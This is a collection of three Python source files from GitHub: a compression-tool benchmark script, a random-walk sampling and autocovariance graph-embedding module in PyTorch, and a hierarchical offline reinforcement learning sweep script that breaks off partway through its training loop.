{"seq_id":"1035405891","text":"#!/usr/bin/env python3\n\nimport subprocess\nimport shutil # cp/mv files\nimport os.path # check file exist\nimport glob # ls *\nimport threading\nimport sys\nimport argparse\nimport time\n\nsem = threading.Semaphore()\n\nclass Compression():\n    \"\"\"Compression is a wrapper class of a compression algorithm\"\"\"\n\n    def __init__(self, command, input_file, output_file, replace, temp=False):\n        \"\"\"Init the compress algorithm\n\n        :command: The command to build the output file\n        :input_file: Input file name\n        :output_file: Output file name\n        :replace: Does the command remove the input\n\n        \"\"\"\n        self.command = command\n        self._input_file = input_file\n        self.output_file = output_file\n        self._replace = replace\n        self._output = \"\"\n        self._execed = False\n        self._temp = temp\n        self.fs = 0\n        self.return_code = 0\n\n    def format_command(self, input_file):\n        return self.command.format(input_file, self.output_file)\n\n    def exe(self):\n        if not os.path.isfile(self._input_file):\n            raise FileNotFoundError(f\"No such file or directory: '{self._input_file}'\")\n        if self._replace:\n            shutil.copyfile(self._input_file, self._input_file+\".bak\")\n        input_file = self._input_file\n        if self._temp:\n            sem.acquire()\n            input_file = \"temp.temp\"\n            shutil.copyfile(self._input_file, input_file)\n        self._time_start = time.time()\n        self._process = subprocess.Popen(\n            [self.format_command(input_file)],\n            shell=True,\n            stdout=subprocess.PIPE,\n            stderr=subprocess.PIPE\n        )\n        self._time_end = time.time()\n        self._execed = True\n        self.return_code = self._process.wait()\n        self.stdout, self.stderr = self._process.communicate()\n        if self._temp:\n            files = glob.glob(\"temp.temp.*\")\n            shutil.move(files[0], self.output_file)\n            if not self._replace:\n                os.remove(\"temp.temp\")\n            sem.release()\n        self.fs = os.path.getsize(self.output_file)\n        if self._replace:\n            shutil.move(self._input_file+\".bak\", self._input_file)\n        print(self)\n\n    def __str__(self):\n        if self._execed:\n            c = self.command.split(' ')[0]\n            return f\"{c},{self.output_file},{self.fs},{self.return_code},{self._time_end-self._time_start},\"\n        return f\"The command '{self.format_command(self._input_file)}' has not been run yet\"\n\ndef generate_compression(input_file):\n    return [\n                Compression(\"7z a -t7z {1} {0}\", input_file, f\"{input_file}.7z\", False),\n                Compression(\"bzip2 {}\", input_file, f\"{input_file}.bz2\", True, temp=True),\n                Compression(\"compress -f {}\", input_file, f\"{input_file}.Z\", True, temp=True),\n                Compression(\"lzma {}\", input_file, f\"{input_file}.lzma\", True, temp=True),\n                Compression(\"pack {} {}\", input_file, f\"{input_file}.packed\", False),\n                Compression(\"rar a -r {1} {0}\", input_file, f\"{input_file}.rar\", False),\n                Compression(\"tar cfz {1} {0}\", input_file, f\"{input_file}.tar\", False),\n                Compression(\"xz {0}\", input_file, f\"{input_file}.xz\", True, temp=True),\n                Compression(\"zip {1} {0}\", input_file, f\"{input_file}.zip\", False),\n            ]\n\ndef run(input_file, count, thread=False):\n    algos = generate_compression(input_file)\n    for algo in algos:\n        if thread:\n            thr = threading.Thread(target=algo.exe)\n            thr.start()\n        else:\n            algo.exe()\n        if count > 0:\n            run(algo.output_file, count-1)\n        if thread:\n            thr.join()\n        os.remove(algo.output_file)\n\ndef create_parser():\n    parser = argparse.ArgumentParser(description=\"Benchmark compressions algorithms\")\n    parser.add_argument(\"-f\", \"--file\", help=\"Specify the input file name\")\n    parser.add_argument(\"-c\", \"--count\", default=0,\n            help=\"How deep is your recurtion\")\n    return parser\n\ndef main(argv):\n    args = create_parser().parse_args(argv[1:])\n    if not args.file:\n        raise ValueError(\"No file provided, see --help\")\n    print(\"algo,command,file size,return code,exec time,\")\n    print(f\"none,none,{os.path.getsize(args.file)},0,0,\")\n    run(args.file, count=int(args.count))\n\nif __name__ == \"__main__\":\n    main(sys.argv)\n","repo_name":"tomMoulard/python-projetcs","sub_path":"benchmark-compression/benchmark-compression.py","file_name":"benchmark-compression.py","file_ext":"py","file_size_in_byte":4419,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"22019114132","text":"import networkx as nx\nimport numpy as np\nimport torch\nfrom torch.autograd import Variable\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport os\nimport time\nfrom node2vec import Node2Vec\nfrom torch.optim.lr_scheduler import ReduceLROnPlateau\nimport sys\nimport multiprocessing\nfrom multiprocessing import Process, Queue\nimport utils\n\nos.environ[\"CUDA_VISIBLE_DEVICES\"]=\"1\"\n\nEPS = 1e-16\n\nclass ProcSampler(object):\n    '''\n        Generic sampler for a random walk process\n\n        Usage:\n            start_prob = stat_dist_undirected(G)\n            sampler = RWSampler(G, start_prob, 2, 2)\n            walks = sampler.sample_walks(1)\n            sampler.get_pos_samples(walks)\n    '''\n    def __init__(self, G, window, workers=1, avg=False, weight=None):\n        '''\n        '''\n        self.G = G\n        self.window = window\n        self.avg = avg\n        self.weight = weight\n        self.workers = workers\n\n    def sample_walks(self, n):\n        '''\n        '''\n        raise NotImplementedError\n\nclass RWSampler(ProcSampler):\n    '''\n        Generic class for random walk sampling.\n    '''\n    def __init__(self, G, start_prob, length, window, workers=1, avg=False, weight=None):\n        '''\n            :param G: input graph\n            :param start_prob: vertex starting probabilities\n            :param length: number of steps taken in the process\n            :param window: window for generating positive samples\n            :param workers: number of workers for parallel processing\n            :param avg: whether all pairs within window are considered\n            :param weight: edge weights\n        '''\n        super().__init__(G, window, workers, avg, weight)\n        self.start_prob = start_prob\n        self.length = length\n\n    def sample_walk(self, length, start, weight=None):\n        '''\n        '''\n        raise NotImplementedError\n\n    def sample_walks_node_list(self, res, nodes, n):\n        '''\n            Samples walks starting from a particular node list\n\n            :param res: results\n            :param nodes: node list\n            :param n: number of walks\n        '''\n        walks = []    \n        for i in range(n):\n            for v in nodes:\n                w = self.sample_walk(self.length, v, self.weight)\n                walks.append(w)\n\n        res.extend(walks)\n\n    def sample_walks(self, n):\n        '''\n            Samples walks of lenght t with starting node probability.\n\n            :param n: number of walks\n        '''\n        walks = []\n\n        \n        if self.workers <= 1:\n            for i in range(n):\n                for v in self.G.nodes():\n                    w = self.sample_walk(self.length, v, self.weight)\n\n                    walks.append(w)\n        else:\n            nodes_per_thread = []\n            results = []\n            for t in range(self.workers):\n                nodes_per_thread.append([])\n                results.append(multiprocessing.Manager().list())\n            \n            i = 0\n            for v in self.G.nodes():\n                nodes_per_thread[i % self.workers].append(v)\n                i = i + 1\n\n            processes = [Process(target=self.sample_walks_node_list, args=(results[t], nodes_per_thread[t], n)) for t in range(self.workers)]\n            \n            for p in processes:\n                p.start()\n\n            \n            for p in processes:\n                p.join()\n        \n            for t in range(self.workers):\n                walks.extend(results[t])\n\n        return walks\n\n    def get_pos_samples_seq(self, walks, sym=False):\n        '''\n            Generates positive samples as two lists [u] [v]\n            \n            :param walks: random walks\n            :param sym: whether samples are symmetric or not\n        '''\n        pos_u = []\n        pos_v = []\n\n        for w in walks:\n            if self.avg is True:\n                for j in range(len(w)-self.window+1):\n                    for r in range(1, self.window+1):\n                        if j+r < len(w):\n                            u = w[j]-1\n                            v = w[j+r]-1\n                            pos_u.append(u)\n                            pos_v.append(v)\n\n                            if sym:\n                                pos_u.append(v)\n                                pos_v.append(u)\n            else:\n                for j in range(len(w)-self.window):\n                    u = w[j]-1\n                    v = w[j+self.window]-1\n                    pos_u.append(u)\n                    pos_v.append(v)\n\n                    if sym:\n                        pos_u.append(v)\n                        pos_v.append(u)\n\n        return pos_u, pos_v\n            \n    def get_pos_samples_worker(self, res, walks, sym):\n        '''\n            Generates positive samples from walks (for parallel processing).\n\n            :param res: results\n            :param walks: random walks\n            :param sym: whether samples are symmetric or not\n        '''\n        pos_u, pos_v = self.get_pos_samples_seq(walks, sym)\n\n        for u in pos_u:\n            res[0].append(u)\n\n        for v in pos_v:\n            res[1].append(v)\n    \n    def get_pos_samples(self, walks, sym=False):\n        '''\n            Generates positive samples from walks.\n            \n            :param walks: set of walks as a list of lists\n            :param sym: whether samples are symmetric or not\n        '''\n        \n        if self.workers <=1:\n            #sequential\n            return self.get_pos_samples_seq(walks, sym)\n        else:\n            #parallel\n            nodes_per_thread = []\n            pos_u = []\n            pos_v = []\n            \n            results = []\n            walks_per_worker = []\n            for t in range(self.workers):\n                results.append([multiprocessing.Manager().list(), multiprocessing.Manager().list()])\n                walks_per_worker.append([])\n            \n            i = 0\n            for w in walks:\n                walks_per_worker[i % self.workers].append(w)\n                i = i + 1\n\n            processes = [Process(target=self.get_pos_samples_worker, args=(results[t], walks_per_worker[t], sym)) for t in range(self.workers)]\n            \n            for p in processes:\n                p.start()\n\n            for p in processes:\n                p.join()\n        \n            for t in range(self.workers):\n                pos_u.extend(results[t][0])\n                pos_v.extend(results[t][1])\n\n            return pos_u, pos_v\n\n    def get_neg_samples(self, pos, k=1):\n        '''\n            Generates n*k negative samples as an (n,k) matrix\n\n            :param pos: list of positive samples\n            :param k: number of negative samples per positive sample\n        '''\n        nodes = list(np.arange(self.G.number_of_nodes()))\n        prob = np.array(self.start_prob)\n        \n        return np.random.choice(nodes, size=(len(pos), k), p=prob)\n\nclass StdRWSampler(RWSampler):\n    '''\n        Standard random-walk sampler.\n    '''\n    def __init__(self, G, start_prob, length, window, workers=1, avg=False, weight=None):\n        '''\n            :param G: input graph\n            :param start_prob: vertex starting probabilities\n            :param length: number of steps taken in the process\n            :param window: window for generating positive samples\n            :param workers: number of workers for parallel processing\n            :param avg: whether all pairs within window are considered\n            :param weight: edge weights\n        '''\n        super().__init__(G, start_prob, length, window, workers, avg, weight)\n\n    def get_pos_samples(self, walks):\n        '''\n            Generates positive samples from walks.\n\n            :param walks: set of walks as a list of lists\n        '''\n        return super().get_pos_samples(walks, sym=True)\n\n    def sample_walk(self, length, start, weight=None):\n        '''\n            Samples a single walk of length t from start.\n\n            :param length: random-walk length\n            :param start: starting node\n            :param weight: edge weights\n        '''\n        walk = [start]\n        v = start\n\n        if weight is None:\n            for i in range(length):\n                neighbs = list(self.G.neighbors(v))\n\n                v = np.random.choice(neighbs)\n                walk.append(v)\n\n        else:\n            for i in range(length):\n                neighbs = list(self.G.neighbors(v))\n                prob = np.zeros(len(neighbs))\n\n                for u in range(len(neighbs)):\n                    prob[u] = self.G.edges[(v,u)]['weight']\n\n                v = np.random.choice(neighbs, p=prob)\n                walk.append(v)\n\n        return walk\n\nclass PRSampler(RWSampler):\n    '''\n        Pagerank sampler\n    '''\n    def __init__(self, G, start_prob, length, window, workers, avg=False, weight=None, alpha=0.85):\n        '''\n            :param G: input graph\n            :param start_prob: vertex starting probabilities\n            :param length: number of steps taken in the process\n            :param window: window for generating positive samples\n            :param workers: number of workers for parallel processing\n            :param avg: whether all pairs within window are considered\n            :param weight: edge weights\n            :param alpha: teleportation probability\n        '''\n        super().__init__(G, start_prob, length, window, workers, avg, weight)\n        self.alpha = alpha\n\n    def get_pos_samples(self, walks):\n        '''\n            Generates positive samples from walks.\n\n            :param walks: set of walks as a list of lists\n        '''\n        return super().get_pos_samples(walks,sym=False)\n\n    def sample_walk(self, length, start, weight=None):\n        '''\n            Samples a single walk of length t from start.\n\n            :param length: random-walk length\n            :param start: starting vertex\n        '''\n        walk = [start]\n        v = start\n\n        for i in range(length):\n            r = np.random.random()\n            neighbs = list(self.G.neighbors(v))\n\n            if r < self.alpha and len(neighbs) > 0:\n                neighbs = list(self.G.neighbors(v))\n\n                if weight is None:\n                    v = np.random.choice(neighbs)\n                else:\n                    prob = np.zeros(len(neighbs))\n\n                    for u in range(len(neighbs)):\n                        prob[u] = self.G.edges[(v,u)]['weight']\n\n                    v = np.random.choice(neighbs, p=prob)\n\n            else:\n                v = np.random.choice(neighbs)\n\n            walk.append(v)\n\n        return walk\n\ndef stat_dist_undirected(G, weight=None):\n    '''\n        Stationary distribution for undirected graph.\n        \n        :param G: Input graph\n        :param weight: edge weights\n    '''\n    deg = np.array([a[1] for a in sorted(G.degree(weight='weight'), key=lambda a: a[0])])\n    \n    return deg / deg.sum()\n\ndef pagerank(G, alpha=0.85, weight=None):\n    '''\n        Computes pagerank for all vertices in G.\n\n        :param G: Input graph\n        :param alpha: teleportation probability\n        :param weight: edge weights\n    '''\n    stat_dist = np.zeros(G.number_of_nodes())\n    pr = nx.pagerank(G, alpha=alpha, weight=weight)\n\n    i = 0\n    for v in sorted(G.nodes()):\n        stat_dist[i] = pr[v]\n        i = i + 1\n\n    return stat_dist\n\nclass SampleEmbedding(nn.Module):\n    '''\n        Generic class for sampling based embedding\n    '''\n    def __init__(self, G, sampler, n_samples=100, n_dim=100, learning_rate=0.025,\n                 batch_size=50, n_iter=10, n_neg_samples=1, early_stop=10, momentum=0.99, patience=1):\n        '''\n            :param G: Input graph\n            :param sampler: process sampler\n            :param walks: number of random walks per node\n            :param dim: Dimensions of embedding\n            :param lr: learning rate for SGD\n            :param batch_size: size of batches for SGD\n            :param n_iter: max number of iterations for SGD\n            :param neg: number of negative samples\n            :param early_stop: number of iterations before early stop\n            :param penalty: penalizes embeddings out of probability range\n            :param momentum: Pytorch optimizer parameters\n            :param patience: Pytorch optimizer parameters\n        '''\n        super(SampleEmbedding, self).__init__()\n        self.sampler = sampler\n        self.G = G\n        self.learning_rate = learning_rate\n        self.batch_size = batch_size\n        self.n_iter = n_iter\n        self.n_neg_samples = n_neg_samples\n        self.n_samples = n_samples\n        self.n_dim = n_dim\n        self.emb = self.init_emb(n_dim)\n        self.early_stop = early_stop\n        self.momentum = momentum\n        self.patience = patience\n\n        self.tmp_model_file = \"samp_emb\"+str(int(time.time()))+\".pt\"\n\n        self.use_cuda = torch.cuda.is_available()\n\n        if self.use_cuda:\n            self.cuda()\n\n        self.optimizer = optim.SparseAdam(list(self.parameters()), lr=self.learning_rate, betas=(self.momentum, 0.999))\n        self.scheduler = ReduceLROnPlateau(self.optimizer, 'min', patience=self.patience, min_lr=1e-10, verbose=True)\n\n    def init_emb(self):\n        '''\n            Initializes embedding.\n\n            :param dim: Dimensions of embedding\n        '''\n        n = self.G.number_of_nodes()\n        self.u_embed = nn.Embedding(n, self.n_dim, sparse=True)\n        self.v_embed = nn.Embedding(n, self.n_dim, sparse=True)\n\n    def train(self, verbose=False):\n        '''\n            Learns embedding using batched SGD.\n        '''\n        batches = []\n\n        walks = self.sampler.sample_walks(self.n_samples)\n\n        pos_u, pos_v = self.sampler.get_pos_samples(walks)\n        neg_v = self.sampler.get_neg_samples(pos_u, self.n_neg_samples)\n\n        n_batches = int(np.floor(len(pos_u) / self.batch_size))\n        \n        for b in range(n_batches):\n            i = b * self.batch_size\n            j = (b+1) * self.batch_size\n            batches.append([pos_u[i:j], pos_v[i:j], neg_v[i:j]])\n\n        losses = []\n        best_loss = sys.float_info.max\n\n        for i in range(self.n_iter):\n            sum_loss = 0\n            for b in batches:\n                pos_u, pos_v, neg_v = b\n\n                pos_u = Variable(torch.LongTensor(pos_u))\n                pos_v = Variable(torch.LongTensor(pos_v))\n                neg_v = Variable(torch.LongTensor(neg_v))\n\n                if self.use_cuda:\n                    pos_u = pos_u.cuda()\n                    pos_v = pos_v.cuda()\n                    neg_v = neg_v.cuda()\n\n                self.optimizer.zero_grad()\n                loss = self.forward(pos_u, pos_v, neg_v)\n                loss.backward()\n\n                self.optimizer.step()\n                sum_loss = sum_loss + loss.item()\n            \n            sum_loss = sum_loss / len(batches)\n            self.scheduler.step(sum_loss)\n\n            if verbose is True:\n                print(\"iteration: \", i, \" loss = \", sum_loss)\n\n            if sum_loss < best_loss:\n                best_loss = sum_loss\n                torch.save(self.state_dict(), self.tmp_model_file)\n\n            losses.append(sum_loss)\n\n            if i > self.early_stop and losses[-1] > np.mean(losses[-(self.early_stop+1):-1]):\n                break\n            \n        self.load_state_dict(torch.load(self.tmp_model_file))\n        os.remove(self.tmp_model_file)\n\n    def forward(self, pos_u, pos_v, neg_v):\n      '''\n      '''\n      raise NotImplementedError\n\nclass SamplePMI(SampleEmbedding):\n    '''\n        Sampling based embedding using the pointwise mutual\n        information (as word2vec, node2vec).\n\n        Not currently being used.\n    '''\n    def __init__(self, G, sampler, n_samples, n_dim=100, learning_rate=0.025,\n                 batch_size=50, n_iter=10, n_neg_samples=1, early_stop=10):\n        '''\n        '''\n        super().__init__(G, sampler, n_samples, n_dim, learning_rate, batch_size, n_iter, n_neg_samples, early_stop)\n\n    def init_emb(self, n_dim):\n        '''\n        '''\n        super().init_emb()\n\n        initrange = 0.5 / self.n_dim\n        self.u_embed.weight.data.uniform_(-initrange, initrange)\n        self.v_embed.weight.data.uniform_(0, 0)\n\n    def train(self, verbose=False):\n        '''\n        '''\n        super().train(verbose)\n\n    def forward(self, pos_u, pos_v, neg_v):\n        '''\n        '''\n        emb_u = self.u_embed(pos_u)\n        emb_v = self.v_embed(pos_v)\n\n        score = torch.mul(emb_u, emb_v).squeeze()\n        score = torch.sum(score, dim=1)\n        score = F.logsigmoid(score)\n        neg_emb_v = self.v_embed(neg_v)\n        neg_score = torch.bmm(neg_emb_v, emb_u.unsqueeze(2)).squeeze()\n        neg_score = F.logsigmoid(-neg_score)\n\n        return -1 * (torch.sum(score)+torch.sum(neg_score))\n\nclass ClampGradient(torch.autograd.Function):\n    '''\n        Activation function for autocovariance\n    '''\n    @staticmethod\n    def forward(ctx, x):\n        ctx.save_for_backward(x)\n        return x.clamp(min=EPS,max=1.)\n\n    @staticmethod\n    def backward(ctx, g):\n        x, = ctx.saved_tensors\n        grad_input = g.clone()\n        grad_input[x < EPS] = 0.\n        grad_input[x > 1] = 0.\n\n        return grad_input\n\ndef log_stab_pos(p_uv, dot_prod):\n    '''\n        Computes part of score for positive samples using\n        autocovariance similarity.\n\n        :param p_uv: product of values for stat. dist. pi_u*pi_v\n        :param dot_prod: dot product of embeddings\n    '''\n    c = ClampGradient.apply\n    p = c(p_uv + dot_prod)\n    \n    return torch.log(torch.div(p, p + p_uv))\n\ndef log_stab_neg(p_uv, dot_prod):\n    '''\n        Computes part of score for negative samples using\n        autocovariance similarity. \n        \n        :param p_uv: product of values for stat. dist. pi_u*pi_v\n        :param dot_prod: dot product of embeddings\n    '''\n    c = ClampGradient.apply\n    p = c(p_uv + dot_prod)\n    return torch.log(torch.div(p_uv, p + p_uv))\n\ndef penalty_neg_stab(p_uv, dot_prod, penalty):\n    '''\n        Penalizes score when embeddings produce\n        negative probabilies in autocovariance\n        formulation.\n        \n        :param p_uv: product of values for stat. dist. pi_u*pi_v\n        :param dot_prod: dot product of embeddings\n        :param penalty: amount of penalty\n    '''\n    p = p_uv + dot_prod\n    m = nn.ReLU()\n    pen = -penalty * m(-p)\n\n    return pen\n\ndef penalty_pos_stab(p_uv, dot_prod, penalty):\n    '''\n        Penalizes score when embeddings produce\n        probabilities greater than 1 in autocovariance\n        formulation.\n        \n        :param p_uv: product of values for stat. dist. pi_u*pi_v\n        :param dot_prod: dot product of embeddings\n        :param penalty: amount of penalty\n    '''\n    p = p_uv + dot_prod\n    m = nn.ReLU()\n    pen = -penalty * m(p-1)\n\n    return pen\n\nclass SampleAutoCov(SampleEmbedding):\n    '''\n        Implements sampling-based autocovariance embedding\n    '''\n    def __init__(self, G, sampler, walks, dim=128, lr=0.025, batch_size=50,\n        n_iter=10, neg=5, early_stop=10, penalty=0, momentum=0.99, patience=1):\n        '''\n            :param G: Input graph\n            :param sampler: process sampler\n            :param walks: number of random walks per node\n            :param dim: Dimensions of embedding\n            :param lr: learning rate for SGD\n            :param batch_size: size of batches for SGD\n            :param n_iter: max number of iterations for SGD\n            :param neg: number of negative samples\n            :param early_stop: number of iterations before early stop\n            :param penalty: penalizes embeddings out of probability range\n            :param momentum: Pytorch optimizer parameters\n            :param patience: Pytorch optimizer parameters\n        '''\n        self.penalty = penalty\n        super().__init__(G, sampler, walks, dim, lr, batch_size, n_iter, neg, early_stop)\n\n    def init_emb(self, dim):\n        '''\n            Initializes embedding.\n\n            :param dim: Dimensions of embedding\n        '''\n        n = self.G.number_of_nodes()\n        self.u_embed = nn.Embedding(n, self.n_dim, sparse=True)\n        self.v_embed = nn.Embedding(n, self.n_dim, sparse=True)\n\n        self.prob = nn.Embedding.from_pretrained(torch.FloatTensor(self.sampler.start_prob[np.newaxis].T))\n\n        initrange = 0.5 / self.n_dim\n        self.u_embed.weight.data.uniform_(-initrange, initrange)\n        self.v_embed.weight.data.uniform_(-initrange, initrange)\n\n        w = self.u_embed.weight.data\n        w.div_(torch.div( torch.norm(w, 2, 1, keepdim=True), self.prob.weight.data).expand_as(w))\n        w = self.v_embed.weight.data\n        w.div_(torch.div( torch.norm(w, 2, 1, keepdim=True), self.prob.weight.data).expand_as(w))\n\n    def forward(self, pos_u, pos_v, neg_v):\n        '''\n            Performs one batch iteration for training/embedding using autocovariance.\n\n            :param pos_u: first vertex in positive sample\n            :param pos_v: second vertex in positive sample\n            :param neg_v: negative samples for pos_u\n        '''\n        emb_u = self.u_embed(pos_u)\n        emb_v = self.v_embed(pos_v)\n\n        prob_u = self.prob(pos_u)\n        prob_v = self.prob(pos_v)\n\n        score = torch.mul(emb_u, emb_v).squeeze()\n        score = torch.sum(score, dim=1)\n\n        prob_uv = torch.mul(prob_u,prob_v).squeeze()\n\n        #Penalizing embeddings that do not produce probabilities\n        pen_pos = penalty_pos_stab(prob_uv, score, self.penalty) + penalty_neg_stab(prob_uv, score, self.penalty)\n\n        score = log_stab_pos(prob_uv, score)\n\n        neg_emb_v = self.v_embed(neg_v)\n        prob_neg_v = self.prob(neg_v)\n\n        neg_score = torch.bmm(neg_emb_v, emb_u.unsqueeze(2)).squeeze()\n\n        prob_neg_uv = torch.bmm(prob_neg_v, prob_u.unsqueeze(2)).squeeze()\n\n        #Penalizing embeddings that do not produce probabilities\n        pen_neg = penalty_neg_stab(prob_neg_uv, neg_score, self.penalty) + penalty_pos_stab(prob_neg_uv, neg_score, self.penalty)\n\n        neg_score = log_stab_neg(prob_neg_uv, neg_score)\n\n        return -1 * (torch.sum(score)/score.shape[0]+torch.sum(neg_score)/neg_score.shape[0]+torch.sum(pen_pos)/pen_pos.shape[0]+torch.sum(pen_neg)/pen_neg.shape[0])\n\ndef embed(G, dim, tau, weight, directed, similarity, average_similarity, lr, n_iter, early_stop, batch_size, \n    neg, walks, walk_length, damp, workers):\n    \"\"\"\n    Embed the graph with the sampling algorithm.\n\n    :param G: Input graph.\n    :param dim: Dimensions of embedding.\n    :param tau: Markov time.\n    :param weight: Edge weights.\n    :param directed: Whether the graph is directed.\n    :param similarity: Similarity metric.\n    :param average_similarity: Whether to use the average version of similarity metric.\n    :param lr: learning rate for SGD.\n    :param n_iter: max number of iterations for SGD\n    :param early_stop: number of iterations before early stop\n    :param batch_size: size of batches for SGD\n    :param neg: number of negative samples\n    :param walks: number of random walks per node\n    :param walk_length: length of random walks sampled\n    :param damp: damping parameter for pagerank \n    :param workers: number of workers (for node2vec)\n    :return: Embeddings of shape (num_nodes, dim)\n    \"\"\"\n    if directed and similarity == 'PMI':\n        raise NotImplementedError(f'PMI embedding not implemented for directed graphs. ')\n\n    use_cuda = torch.cuda.is_available()\n    \n    # Select the similarity metric.\n    if similarity == 'autocovariance':\n        if directed:\n            start_prob = pagerank(G, alpha=damp, weight=weight)\n            sampler = PRSampler(G, start_prob, walk_length, tau, workers=workers, avg=average_similarity)\n        else:\n            start_prob = stat_dist_undirected(G, weight=weight)\n            #Uniform selection: start_prob = np.ones(G.number_of_nodes()) / G.number_of_nodes()\n            sampler = StdRWSampler(G, start_prob, walk_length, tau, workers=workers, avg=average_similarity)\n\n        samp_emb = SampleAutoCov(G, sampler, walks=walks, dim=dim, lr=lr, \n            batch_size=batch_size, n_iter=n_iter, neg=neg, penalty=0.)\n        \n        samp_emb.train(verbose=True)\n        \n        if use_cuda:\n            u = samp_emb.u_embed(torch.cuda.LongTensor([list(sorted(G.nodes()))])-1).cpu().detach().numpy()[0]\n            v = samp_emb.v_embed(torch.cuda.LongTensor([list(sorted(G.nodes()))])-1).cpu().detach().numpy()[0]\n        else:\n            u = samp_emb.u_embed(torch.LongTensor([list(sorted(G.nodes()))])-1).detach().numpy()[0]\n            v = samp_emb.v_embed(torch.LongTensor([list(sorted(G.nodes()))])-1).detach().numpy()[0]\n\n        if directed:\n            return utils.rescale_embeddings(u), utils.rescale_embeddings(v) \n        else:\n            return utils.rescale_embeddings(u), utils.rescale_embeddings(v)\n\n    elif similarity == 'PMI':\n        if directed:\n            raise NotImplementedError(f'Directed PMI not implemented. ')\n        else:\n            node2vec = Node2Vec(G, dimensions=dim, walk_length=walk_length, num_walks=walks, workers=workers, temp_folder='./tmp/')\n            model = node2vec.fit(window=tau, min_count=1, batch_words=batch_size, negative=neg)\n\n            u = np.zeros((G.number_of_nodes(), dim))\n\n            i = 0\n            for v in sorted(G.nodes()):\n                u[i] = model.wv[str(v)]\n                i = i + 1\n        \n            return utils.rescale_embeddings(u)\n    else:\n        raise NotImplementedError(f'Similarity metric {similarity} not implemented. ')\n\n","repo_name":"zexihuang/random-walk-embedding","sub_path":"src/sampling.py","file_name":"sampling.py","file_ext":"py","file_size_in_byte":25549,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"35"}
{"seq_id":"20492267468","text":"\"\"\"Run everything.\"\"\"\n\nfrom models import Policy, Critic\nfrom sampler import Sampler\nfrom algos import MSAC\nimport torch\nimport pickle\nimport numpy as np\nimport os\nfrom hierarchical_vae import VAE\nimport itertools\nfrom utils import params_extraction, load_pretrained_models, vae_config\nimport pdb\nimport wandb\n\n# Little test\nos.environ['WANDB_SILENT'] = \"true\"\n\nwandb.login()\n\nsweep_config = {'method': 'grid'}\n\nmetric = {'name': 'loss',\n          'goal': 'minimize'}\n\nsweep_config['metric'] = metric\n\n\nparameters_dict = {\n    'meta_batch_size': {\n        'value': 20},\n    'batch_size': {\n        'value': 20},\n    'vae_batch_size': {\n        'value': 1024},\n    'case': {\n        'values': [0, 1, 2]},\n    'rl_lr': {\n        'value': .001},\n    'actions_lr': {\n        'value': 0.1},\n    'discount': {\n        'value':  0.99},\n    'alpha': {\n        'value': 0.1},\n    'env_id': {\n        'value': 'HalfCheetah-v4'},\n    'device': {\n        'value': 'cuda:0'},\n    'hidden_dim': {\n        'value': 128},\n    'epochs': {\n        'value': 600},\n    'z_action': {\n        'value': 2},\n    'beta': {\n        'value': 0.1},\n    'use_pretrained_action_VAE': {\n        'value': True},\n    'use_pretrained_VAE': {\n        'value': True},\n    'train_policy': {\n        'value': True}}\n\n\nsweep_config['parameters'] = parameters_dict\n\nsweep_id = wandb.sweep(sweep_config, project='Hierarchical-Offline-RL')\n\n# path_to_forward = 'Dataset/d4rl_halfcheetah_expert.pt'\n\npath_to_forward = 'Dataset/data_forward_vel.pt'\npath_to_backward = 'Dataset/data_backward_vel.pt'\n\nfolder = 'results/Experiment'\n\ndef main(config=None):\n    with wandb.init(config=config):\n\n        config = wandb.config\n        if not os.path.exists(folder):\n            os.makedirs(folder)\n\n        config = vae_config(config)\n        \n        vae = VAE(config)\n        vae.load_dataset(path_to_forward, path_to_backward)\n        \n        z_dim = vae.hrchy[len(vae.hrchy) - 1]['z']\n        policy = Policy(vae.state_dim, z_dim,\n                        vae.hidden_dim).to(vae.device)\n        critic = Critic(vae.state_dim, z_dim,\n                        vae.hidden_dim).to(vae.device)\n        policy = policy.double()\n        critic = critic.double()\n\n        sampler = Sampler(policy, vae.evaluate_decoder_hrchy,\n                          vae.ActionDecoder, config)\n\n        msac = MSAC(sampler, vae, policy, critic, config)\n\n        vae_models = list(vae.models.values())\n\n        models = [vae.ActionEncoder, vae.ActionDecoder, *vae_models,\n                  vae.prior, msac.policy, msac.critic, msac.critic]\n\n        vae_names = list(itertools.chain(*list(vae.names.values())))\n        names = ['ActionEncoder', 'ActionDecoder', *vae_names,\n                 'Prior', 'Policy', 'Critic', 'Target_critic']\n\n        pretrained_params = load_pretrained_models(config)\n        pretrained_params.extend([None] * (len(names) - len(pretrained_params)))\n\n        params = params_extraction(models, names, pretrained_params)\n\n        if not config.use_pretrained_action_VAE:\n            for vae_epoch in range(400):\n                params = vae.train_action_VAE(params, config.actions_lr,\n                                              config.beta, vae_epoch)\n            torch.save(params['ActionDecoder'],\n                       f'trained_models/ActionDecoder_MyData_z{config.z_action}.pt')\n            torch.save(params['ActionEncoder'],\n                       f'trained_models/ActionEncoder_MyData_z{config.z_action}.pt')\n                \n\n        # VAE training warm up\n        level_epoch = 360 // len(vae.hrchy)\n        if not config.use_pretrained_VAE:\n            path = f'VAE_models/l{config.levels}_len{config.level_length}_z{config.z_vae}'\n            if not os.path.exists(path):\n                os.makedirs(path)\n            for j in range(len(vae.hrchy)):\n                print(f'Training level {j}')\n                for vae_epoch in range(level_epoch):\n                    params = vae.train_level(params, config.vae_lr,\n                                             config.beta, j)\n                    if vae_epoch % 20 == 0:\n                        vae.test_level(params, j, vae_epoch)\n            vae_mdls = {key: params[key] for key in params if key in vae_names}\n            torch.save(vae_mdls, f'{path}/params.pt')\n            with open(f'{path}/class', 'wb') as file:\n                pickle.dump(vae, file)\n                        \n        # Main training loop\n        print('==============================================================')\n        print(f'New Run with case {config.case}')\n        print('==============================================================')\n        if config.train_policy:\n            for i in range(config.epochs+1):\n                critic_warmup = True if i < 30 else False\n                tasks = np.random.uniform(1.99, 2.0, (sampler.meta_batch_size,))\n                data, params = msac.train_episode(params, tasks, config.rl_lr,\n                                                  critic_warmup=critic_warmup,\n                                                  testing=False)\n                if i % 1 == 0 and i > -5:\n                    mean_total_reward = []\n                    mean_total_reward_run = []\n                    for idx, test_task in enumerate(sampler.test_tasks):\n                        if idx > 2:\n                            continue\n                        test_task = np.repeat(test_task, sampler.meta_batch_size)\n                        # d_test, test_params = msac.train_episode(params, test_task,\n                        #                                          config.rl_lr,\n                        #                                          critic_warmup,\n                        #                                          testing=True)\n                        # test_data = msac.test_episode(test_params)\n                        test_data = msac.test_episode(params)\n                        mean_reward = 